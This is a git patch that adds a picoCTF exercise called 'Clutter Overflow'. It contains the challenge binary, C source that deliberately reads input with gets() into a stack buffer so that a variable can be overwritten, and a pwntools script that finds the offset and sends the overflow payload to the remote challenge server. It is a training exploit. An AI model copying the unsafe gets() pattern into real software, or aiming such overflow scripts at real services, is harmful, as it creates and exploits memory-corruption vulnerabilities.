From 7f8436f98aba20dfd23f92358da4ac04625f33f9 Mon Sep 17 00:00:00 2001 From: THEON-1 Date: Tue, 9 Dec 2025 12:59:31 +0100 Subject: [PATCH] Clutter Overflow --- clutter_overflow/chall | Bin 0 -> 12704 bytes clutter_overflow/chall.c | 54 ++++++++++++++++++++++++++++++++++++++ clutter_overflow/sol.py | 55 +++++++++++++++++++++++++++++++++++++++ 3 files changed, 109 insertions(+) create mode 100755 clutter_overflow/chall create mode 100644 clutter_overflow/chall.c create mode 100755 clutter_overflow/sol.py diff --git a/clutter_overflow/chall b/clutter_overflow/chall new file mode 100755 index 0000000000000000000000000000000000000000..c37dc1d37638a598eb6334e83065bb89f18c9005 GIT binary patch literal 12704 zcmeHNZ)_aJ6`#BFKOAztq=A?uG=obTo62hkLU2M%?i@Q=S59z)4MBCXKKs`8mHT7e z?SUPx;5Gzt4S}daZB(gM)DNhtXchGXimEC&GK#5$RMQV_CEAi!4NA&CQwmLy$o0LM zd3(F-bA{BXpYB<^Z{Ba-d-LYa?0WWQp6uz{;w#Ffa}67i93 zTiX(`)nAgCC7}htg-+SQo@BZe; zTV6FTjXfIGR=)Sb5v;>pq7Tt8A7?YZkRP!d;6iG-_1O($gVE6Te;lW2A}btsjAOM! zrs6%z;O)!c>zBdrTLvEjoWtd%6#$frrwQ;?tdR}#VPQh^=q80vdhiy7&vYN)fyP4-~KC=5yx@EKX~4R#8_@!9EQ!$`jx!6aafdaY@N^Z zRR`{z&y*L`rQDzc$_wH&FA%4^AYPAvqDGakT97e5BJRLxo?>0I0}qfg@OB4I&mdNJ zIB;x(NI&{+oqoLf*gDSiW3!gOxS$_>wQi0T@BTJG#Z6DaybC hy_|VU|iUqS~Q%3drGM5TMU2O*p9I5mqFk82{EKVF zB8wi@8OrZy`thEtdf@`JcE+~Y05#<2r#4yx zsPOn}*Koo3MIMSg*jxC0WH2(&cVd%vGl#)A(Te0l*)vq6l3`Gt_4o8f+lcoHBGzS^S zxh-ZhK2!4P;l_2L`ut&D`pfrm@#g|d)&HfGug^RD9L`HW+yy!nmMw!LXEUE8qRu5G z9DJ^bAcuA&ZF~t0p(h!UK~dSQ5r7`hb_lpE=e>^d96gDM+6>_oOziQqfg#9O8@PhI z0p9XZ;9{KV4gh9UMAVt@grXe{6`&oc0b8WJC<`n8IJWmqdB-O56cKpAKd>MlooK1x z!$V-!rX;X3j7<(Q3`az^lFVc?1TZAxwSAFKo(C0&8z_RVj7V!m(l8>~i5A%vtd(_8 zD|CQkKiz)Nlgg2_12b@x=DdYNL}~OYIxB0%U8IAzUy#+TdEx_}l zRy~K17eRR(H8&+j(MpWkW(}1#8xT?3Z9`!s;1CgDF48vVJ7E--k{F`;{E%u7v|L1C z*v|58`KD#5z6oN*T6uTqc>%BNP{ktW^-WEiH)B!Wv82cgcxBQf4xX+TT}M|6i%*6mOr}lt@hN;1lV` zcq|^{7V1t!CnwF+u3h!aiauiUC?88i$N5+~gDx`M%A|862{X$^K^LnuYs&I?te5g_ z)B@kpES6!u^?`eLLi_NqjD`MHES>^B3H%`N)4*}%@zB*`aTfUSzl+6-z!!iwtHm0A zHz4_r9ALhwkZ=8swRI(T zXiu>5s|_n2tD9lF*4=x@UAH$OjCL67^I-ca0+C?oY5(q(HU5tw68Swh1@IK~!NmHm zVCZ>&SFrK9Ku?gLsOkzfKU=K_+n=t{gB?d}_XWe5U`Hg_9tk#g1v%(}epj$gtea=S z{51HX7|~sYDjBF`ppt<~1}Yh-WT29PN(L$!sAQm$fl3A{8Mq!9n5_v5HzyURJrd$K zszxT%{_sjAcf+m%(k7fkfZd_|1+)zZuZp%~}bw#j3C<5k944 ziks|d4~p7{AL>Pa4k~@v&=4}^b5Y4VRlREN|Hfz^+uPvx)cC%r_{)l4Q2cj_d+iRY zd9Zi)?j5{&a3q(qa{M0cZmqrbuAGpzJh7!iYv0-;QLlYDIRLu~9scl=ssN1MKv_J% ztg?8OJ+GY30x-*HKDqH4M)S^%*Rpcs6@Xbx z?*X>bKCj`{4>Ec#-FO4*SL5WyL-u(CH@=FUQRfic_-gw(cjI4R^nAPVHE@n%*a?Yp z0G?9X4|Y}t*v*Wo=hTg_W#O`TY5&}n+4t={-=T^xp@(T>Ll?I4*c> z07?9|4g8mIg3v1N)i;9z`tjy}t7;d|DIkg8+<|Wg z9Q)$6*+;v@xDY zk3oI!vcN+#sF2xu#x*y&j+1I<Ni z(7O*XV{hO6U6DTH{ylph=ov5uB3*qw=vAEh8O`QI$m)bpIP5(8gXf6ch&WW_h72PjV|GYaTT-*?2nT5)7z=_@ii`N|OnTX`*wQWx__ChVv5Y(qgbQb3)C;i5S?D zBrW8WlonJ5$I)bb6k1J#FSu!<0qG2q#58y~k}%=L^ZLKu@cRK?8TS7HS_jg(QTl$M zc2L(zUjm^PE_nO}(Rz{2WpafRqxT@mTcF^yr*);J9NtcfihJ$50f#NcG_`-q9~PRY z6o7kHARD%2=t4ya1Qep4RU( z%6=G?9EAJWNW@=&veW*eTK`{E_9K)SVO6qIBKv{Ip1udVRY&Q2mGo6wNMxs#JvBq$ z4gJdgR!WSrp!|`8pLp!)95bD7-bspzd)t56V^7~9XM)NAlj9(7`?FAos%pC1-z#+9 z*{e@7@z=o?kCc-=eb+Rq^WdZhDuPHR{s%xYMPyIwW;##4pyH=Ak{ylzU%(bs$ezBF z7B>P2M0!#x&0q5KHdHw6?e8frEy9x7cd{e?0n|9{Y26v-(uCeKcwjo^aVf*biA`4{S;=xfD$;oN%${KlphD$!B5|969a4kylQ@`-} gpxC8_x^I^JVUKfamvmP_p`880D)4~Ez$3E%0Ap%4B>(^b literal 0 HcmV?d00001 diff --git a/clutter_overflow/chall.c b/clutter_overflow/chall.c new file mode 100644 index 0000000..e95a086 --- /dev/null +++ b/clutter_overflow/chall.c @@ -0,0 +1,54 @@ +#include +#include + +#define SIZE 0x100 +#define GOAL 0xdeadbeef + +const char* HEADER = +" ______________________________________________________________________\n" +"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n" +"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n" +"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n" +"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \\^ ^ |\n" +"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \\ ^ _ ^ / | | \\^ ^|\n" +"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | // | /_\\ ^| | ____ ____ | | ^ |\n" +"|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|\n" +"| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n" +"|^ ^ ^ ^ ^| / ( \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \\|^ ^|\n" +".-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |\n" +"| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\\ |^ ^|\n" +"| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n" +"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|== =====\n" +"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n" +"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" \n" +"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n" +"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n" +"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\""; + +int main(void) +{ + long code = 0; + char clutter[SIZE]; + + setbuf(stdout, NULL); + setbuf(stdin, NULL); + setbuf(stderr, NULL); + + puts(HEADER); + puts("My room is so cluttered..."); + puts("What do you see?"); + + gets(clutter); + + + if (code == GOAL) { + printf("code == 0x%llx: how did that happen??\n", GOAL); + puts("take a flag for your troubles"); + system("cat flag.txt"); + } else { + printf("code == 0x%llx\n", code); + printf("code != 0x%llx :(\n", GOAL); + } + + return 0; +} diff --git a/clutter_overflow/sol.py b/clutter_overflow/sol.py new file mode 100755 index 0000000..0a4f19b --- /dev/null +++ b/clutter_overflow/sol.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python +from pwn import * + +def get_conn(): + #return process("./chall") + return remote("mars.picoctf.net", 31890) + +def try_memory_offset(offset): + cycle = cyclic(length=offset, n=8) + + conn = get_conn() + + conn.recvuntil(b"see?") + conn.recvline() + + conn.sendline(cycle) + conn.recvuntil(b"== ") + result = conn.recvline(keepends=False) + + conn.close() + + return result + +base = 0x100 +exp = 0 +p = log.progress("searching for variable offset") +while True: + offset = base + 2**exp + p.status(f"trying offset {offset}") + try: + result = try_memory_offset(offset) + except: + base = base + 2**(exp-1) + exp = 0 + continue + if result != b"0x0": + next_result = 0 + i = 0 + while result != next_result: + i += 1 + result = next_result + next_result = try_memory_offset(offset+i) + offset = cyclic_find(int(result, 16), n=8) + p.success(f"found result {unhex(result[2:])} at offset {offset}") + break + exp += 1 + +conn = get_conn() + +conn.recvuntil(b"see?") +conn.recvline() + +conn.sendline(b"a"*offset + p64(0xdeadbeef)) +conn.interactive() +